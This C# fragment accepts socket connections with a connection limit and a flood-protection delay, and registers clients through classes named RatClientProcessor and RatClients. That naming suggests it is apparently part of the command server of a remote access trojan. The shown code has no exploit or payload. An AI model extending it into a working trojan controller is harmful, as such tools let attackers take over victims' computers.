private void OnClientAccept(IAsyncResult ar)
 {
     try
     {
         Socket acceptedSocket = _listener.EndAccept(ar);
         System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
         if (MaxConnections.AcceptConnection(acceptedSocket.RemoteEndPoint))
         {
             RatClientProcessor.Instance.ProcessClient(acceptedSocket);
         }
         else
         {
             acceptedSocket.Disconnect(false);
             acceptedSocket = null;
         }
         _listener.BeginAccept(OnClientAccept, null);
     }
     catch { /*An existing connection was forcibly closed by the remote host*/ }
 }
        public void ProcessClient(Socket client)
        {
            //System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
            if (MaxConnections.AcceptConnection(client.RemoteEndPoint))
            {
                int        ID = _clientList.Count;
                RatClients c  = new RatClients(client, NetworkKey);
                _clientList.Add(ID, c);
                c.DisconnectHandle = OnDisconnect;
                c.ClientID         = ID;

                settings.ClientsConnected++;
                Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
            }
            else
            {
                client.Disconnect(false);
                client = null;
            }
        }